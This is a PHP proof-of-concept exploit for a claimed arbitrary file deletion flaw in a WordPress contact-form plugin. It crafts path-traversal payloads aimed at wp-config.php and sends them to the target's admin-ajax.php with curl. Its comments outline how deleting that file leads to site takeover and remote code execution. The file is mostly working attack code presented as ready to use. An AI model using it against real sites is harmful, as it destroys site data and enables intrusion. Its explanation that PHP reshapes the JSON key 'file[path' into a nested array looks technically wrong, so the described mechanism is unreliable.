<?php
/**
* CVE-2026-9843 PoC - Arbitrary File Deletion via Path Traversal
* Affected: contact-form-entries plugin <= 1.5.1
*
* This PoC demonstrates how an unauthenticated attacker can inject
* a malicious payload into a form entry that, when viewed by an admin,
* triggers deletion of arbitrary files (e.g., wp-config.php).
*/
// Step 1: Craft the malicious form submission payload
// The key trick is using PHP's bracket notation to bypass isset() checks
// When PHP encounters "file[path" it parses it as nested array access
$malicious_payload = [
// Normal-looking key that passes initial validation
'name' => 'Test Entry',
'email' => '
[email protected]',
'message' => 'Legitimate looking message',
// Malicious key exploiting PHP bracket parser behavior
// PHP converts "file[path" to $data['file']['path'] access pattern
// bypassing the isset($data['file_path']) check
'file[path' => '../../../../wp-config.php',
// Alternative payload variations:
// 'file_path' => 'php://filter/convert.base64-decode/resource=../../../wp-config.php',
// 'attachment[file' => '....//....//wp-config.php',
];
// Step 2: Submit the payload via the vulnerable form endpoint
// The form is typically accessible at: /wp-admin/admin-ajax.php
// or via the plugin's REST endpoint
function submit_malicious_entry($target_url, $payload) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'cf7db_submit',
'form_data' => json_encode($payload),
'_wpnonce' => 'bypass_or_obtain_nonce',
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest',
]);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// Step 3: When admin views the entry in WordPress dashboard,
// the view_page function processes the malicious JSON key,
// PHP's bracket parser reshapes it, and unlink() is called
// on the traversal-specified file path.
// Example of the vulnerable code path (simplified):
/*
function view_page() {
$entry = get_entry_by_id($id);
$data = json_decode($entry->data, true);
// VULNERABLE: isset check can be bypassed via bracket notation
if (isset($data['file_path'])) {
$file = $data['file_path']; // Attacker controls this
// No path traversal validation!
unlink($file); // Deletes arbitrary file
}
// The bypass: if attacker submits {"file[path": "../../wp-config.php"}
// PHP's bracket parser makes isset($data['file_path']) return false
// but $data['file']['path'] contains the malicious path
// The plugin code may then access it via $data['file']['path']
// without proper validation
}
*/
// Usage:
// $result = submit_malicious_entry('http://target-wordpress-site.com', $malicious_payload);
// echo $result;
// Wait for admin to view the entry -> wp-config.php gets deleted -> site enters install mode
// Then attacker can reconfigure with malicious database settings to achieve RCE
echo "CVE-2026-9843 PoC payload ready. Submit to vulnerable WordPress site.\n";
echo "Target file for deletion: wp-config.php (leads to RCE)\n";